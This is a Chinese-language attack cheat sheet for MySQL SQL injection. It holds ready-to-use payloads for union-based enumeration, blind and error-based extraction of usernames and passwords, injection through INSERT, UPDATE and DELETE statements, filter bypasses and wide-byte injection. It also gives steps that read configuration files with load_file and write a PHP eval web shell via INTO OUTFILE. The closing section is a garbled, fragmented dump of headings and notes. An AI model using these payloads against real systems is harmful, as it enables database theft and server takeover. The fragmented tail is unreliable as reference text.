MySQL 5.0 之后,内置了 information_schema 系统表,可以利用这个表联合查询所有的数据库、表名、列名以及内容,5.0 以下只能通过猜数据库名、表名、列名的方式
一般注入手段
// 字段数
order by n
// 基本信息
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7
// 数据库
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata
// 表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码
// 字段名
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码
// 数据
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
MySQL 5.1 之后,udf 导入 xx\lib\plugin\ 目录下
MySQL 5.x 之后,system 执行命令
类偏移注入 -- MySQL 5.0 以下
利用 Access 类似的方法,利用子查询忽略字段名获取数据
order by 确定字段数
SELECT id,name FROM `phpyun_description` where id = 1 union select 1,2 from (select * from phpyun_admin_user order by 6)a
// MySQL 不会自动给派生表定义别名,所以需要在后面加一个 a,或者 as a
构造利用别名列查询所有字段的子语句
select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user
最后拼接在一起,利用 concat 连接显示
SELECT id,name FROM `phpyun_description`where id = 1 and 1=2 union select 1,concat(a_1,0x23,a_2,0x23,a_3,0x23,a_4,0x23,a_5,0x23,a_6) from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user)
布尔盲注
and ascii(substring((SELECT password FROM users where id=1),1,1))=49
时间盲注
1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl
UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’
报错盲注
floor -- MySQL 5.0 以上
// 数据库版本
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
// 简单方法爆库
http://www.xxx.com/sql.php?id=info()
// 连接用户
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
// 连接数据库
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
// 爆库
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
// 爆表
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
// 爆字段
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
// 爆数据
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue
有长度限制,最长32位
and extractvalue(1, concat(0x7e, (select @@version),0x7e))
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
and geometryCollection((select * from (select * from(select user())a)b))
and polygon((select * from(select * from(select user())a)b))
and multipoint((select * from(select * from(select user())a)b))
and multilinestring((select * from(select * from(select user())a)b))
and linestring((select * from(select * from(select user())a)b))
and multipolygon((select * from(select * from(select user())a)b))
利用 insertupdatedelete 注入
闭合
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "
floor
// payload
or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(查询语句 as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or
// insert
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo')
// update
UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo'
// delete,删除时一般根据 id 删除,数字型
DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or''
// 提取数据,payload 和上面不同
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (正常的语句)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
// 查询 user()
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (user())) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
// 获取表名
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo')
// 获取列名
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
// 获取数据
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
// insert
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo')
// update
UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia'
// delete
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or''
// 提取数据,payload
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or
// 获取表名
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'Nervo')
// 获取列名
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='user' limit 0,1)),0) or '', 'Nervo')
// 获取数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'Nervo')
// 利用 delete 获取数据
DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(':', id, username, password) FROM users limit 0,1)),0) or ''
// 利用 update 获取数据,只能通过另一张表来获取当前表的数据,students 另一张表
UPDATE students SET name='Nick' or updatexml(1,concat(0x7e,(SELECT concat_ws(':', id, username, password) FROM newdb.users limit 0,1)),0) or '' WHERE id=1
extractvalue
// payload
or extractvalue(1,concat(0x7e,database())) or
// insert
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo')
// update
UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo'
// delete
DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or''
// 提取数据,获取表名
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'', 'Nervo')
// 获取列名
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo')
// 获取数据,同样不能用 update 获取当前表的数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo')
name_const
payload
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
// insert
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo')
// update
UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo'
// delete
DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or ''
// 提取数据,name_const 只能用于低版本,高版本中只能获取数据库的版本信息
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo')
// 如果返回 Incorrect arguments to NAME_CONST 说明不行
// 获取表名
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo')
// 获取列名
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo')
// 获取数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1))a) or '', 'Nervo')
select * from aaa union select * from ((select 1)a JOIN (select 2)b JOIN (select 3 )c);
// 其中的 1,2,3 可用 SQL 语句替换
select * from aaa union select * from ((select user())a JOIN (select 2)b JOIN (select 3 from user)c);
// 等效于
select * from aaa union select 1,2,3 from user;
// 爆库需要用 group_concat ,limit 1,0 中有逗号
select * from xxx_admin where id = -1 UNION SELECT * FROM ((SELECT group_concat(schema_name) from information_schema.schemata)a JOIN (SELECT 2)b JOIN (SELECT 3)c);
// 盲注,截取字符中的逗号 substring(column_name,1,4) 变为 from 1 for 4
and 1=2 union select hex(substring(ec_salt from 1 for 4)) from ecs_admin_user where user_id=1 order by attr_price desc;
// 延时盲注,注入是 insert 处, case when then + 延时盲注
select case when (select username from (select * from doc_user) as a where id=1) like 'a%' then sleep(3) else sleep(0) end
union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'
利用 load_file() 函数进行注入
order by 获取字段数
爆显位,假设字段数为 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
查看数据库版本
and 1=2 union select 1,version(),3,4,5,6,7,8,9,10
如果 MySQL < 5.0,只能猜解表名,这里先猜解数据库用户名
and 1=2 union select 1,unhex(hex(user())),3,4,5,6,7,8,9,10
查看操作系统 @@version_compile_os
and 1=2 union select 1,@@version_compile_os,3,4,5,6,7,8,9,10
需要获取网站的绝对路径
URL 后面添加 ' 或去掉某部分使网站报错
读取 phpinfo 文件
获取绝对路径后,爆出数据库连接文件的信息
// D:\www\news\model\display.php 的16进制编码
and 1=2 union select 1,load_file(0x443A5C7777775C6E6577735C6D6F64656C5C646973706C61792E706870),3,4,5,6,7,8,9,10
右键查看源代码,得到数据库连接文件 config.inc.php,获得该文件的绝对路径,读取
and 1=2 union select 1,load_file(0x443A5C7777775C6E6577735C696E635C636F6E6669672E696E632E706870),3,4,5,6,7,8,9,10
查看源代码,获得数据库密码,备份一句话木马,获得网站的 WebShell
开启 3306 端口,可以本机 cmd 连接
phpmyadmin 连接登录,备份一句话木马
创建临时表,添加一句话,导出至PHP文件,删除临时表
// lcx 临时表,cmd 字段
Drop TABLE IF EXISTS lcx
Create TABLE lcx(cmd text NOT NULL)
Insert INTO lcx(cmd) VALUES('<?php eval($_POST[cmd])?>')
// 路径必须使用 \\ 进行表示
Select cmd from lcx into outfile 'D:\\www\\news\\eval.php'
Drop TABLE IF EXISTS lcx
0x01 SQL注入
MySQL
#
/*
--
concat
:将多个字符串连接成一个字符串group_concat
:返回一个字符串结果,该结果由分组中的值连接组合而成concat_ws
:concat with separator
指定参数之间的分隔符system_user()
:系统用户名user()
:用户名current_user
:当前用户名session_user()
:连接数据库的用户名database()
:数据库名version()
:数据库版本load_file()
:读取本地文件的函数@@datadir
:读取数据库路径(5.0 以上版本)@@basedir
:安装路径@@version_complie_os
:操作系统MySQL
数据表版本特性MySQL 3.23.3
及其以上,支持--
注释MySQL 4.0
及其以上,支持union
查询MySQL 5.0
之后,内置了information_schema
系统表,可以利用这个表联合查询所有的数据库、表名、列名以及内容,5.0
以下只能通过猜数据库名、表名、列名的方式MySQL 5.1
之后,udf
导入xx\lib\plugin\
目录下MySQL 5.x
之后,system
执行命令MySQL 5.0
以下Access
类似的方法,利用子查询忽略字段名获取数据order by
确定字段数concat
连接显示时间盲注
floor
--MySQL 5.0
以上extractvalue
有长度限制,最长32位
concat
函数,是因为 extractvalue中的字符串前面没有
~ : \ <这些符号的话,会导致报错的内容不全,前面几个字符被吃掉,所以需要用
concat` 连接(一般特殊符号或者数字也可以)concat
被过滤,可以使用insert
make_set
函数来替代updatexml
有长度限制,最长32位
concat
被过滤,和上面extractvalue
一样采用insert
make_set
name_const
5.0.12
才加入),在最新的MySQL
版本中,使用name_const
函数只能提取到数据库的版本信息Error based Double Query Injection
exp
基于
MySQL
数据类型溢出MySQL
中无符号int
数据类型溢出,5.0
下不存在,5.5
下存在,同时还有报错信息的长度限制报错是由于无符号整型超出范围
MySQL
函数报错insert
update
delete
注入floor
updatexml
extractvalue
name_const
mysql_query
不支持多语句执行,mysqli
支持多语句执行,因为mysqli
这个库中有mysqli_multi_query
,可以用这个指令实现多语句执行;
来实现多语句执行MySQL+PHP
中用于转义的函数有addslashes
、mysql_real_escape_string
、mysql_escape_string
,还有一种情况magic_quote_gpc
,高版本中已经去除此特性HTML
页面编码无关,即使页面编码设置为utf8
,数据库的字符集也可以设置为GBK
等宽字节UTF8
:由于ASCII
表示的字符只有128
个,因此网络世界的规范是使用UNICODE
编码,但是用ASCII
表示的字符使用UNICODE
并不高效,所以出现了中间格式字符集,被称为通用转换格式,即UTF
GB2312
、GBK
、GB18030
、BIG5
、Shift_JIS
等这些都是常说的宽字节,实际上只有两字节,宽字节带来的安全问题主要是可以吃掉ASCII
字符(一字节)(一个字符和ASCII
的一个字符组合成了一个二字节的宽字节)PHP
发送请求到MySQL
时字符集使用character_set_client
设置值进行一次编码character_set_client
为不安全的编码设置方式时,就会导致宽字节注入产生URL
解码后:sql=rootß' or 1=1#
'
经过addslashes
转义后成为\'
,%5c%27
root%df%5c%27%20or%201=1%23
SQL
中处理使用的是GBK
宽字节字符集%df%5c
组合成了運
,成功将\
组合掉了,导致'
单引号闭合成功,宽字节注入产生%df%5c
GBK
编码范围是0x8140~0xFEFE(不包括xx7F)
%df
的ASCII
是223
,比ASCII 128
大,所以会自动拼接%5c
%27
和%20
比ASCII 128
小,被保留GB2312
是GBK
兼容的,但是低位范围0xA1~0xFE
,不包含0x5C
,因此不能使用编码吃掉%5c
,其他宽字节一样分析,低位包含即可吃掉%5c
mb_convert_encoding()
iconv()
* 构造宽字节注入
%e5%5c%27
,GBK
转换UTF8
时吃掉了\
http://www.xxx.com/1.php?sql=root%e9%8c%a6
可以带入一个\
,进而注释掉了单引号,这种情况需要两个参数配合注入MySQL+PHP
推荐的编码方式和过滤函数,
*
绕过,
*
和,
MySQL
读取写入文件file
权限必备绝对路径
union 使用
可以使用 ''
MySQL 3.x
读取方法MySQL 4.x
读取方法MySQL 5.x
读取方法into outfile
写文件load_file()
函数进行注入order by
获取字段数MySQL < 5.0
,只能猜解表名,这里先猜解数据库用户名@@version_compile_os
URL
后面添加'
或去掉某部分使网站报错phpinfo
文件config.inc.php
,获得该文件的绝对路径,读取WebShell
3306
端口,可以本机cmd
连接phpmyadmin
连接登录,备份一句话木马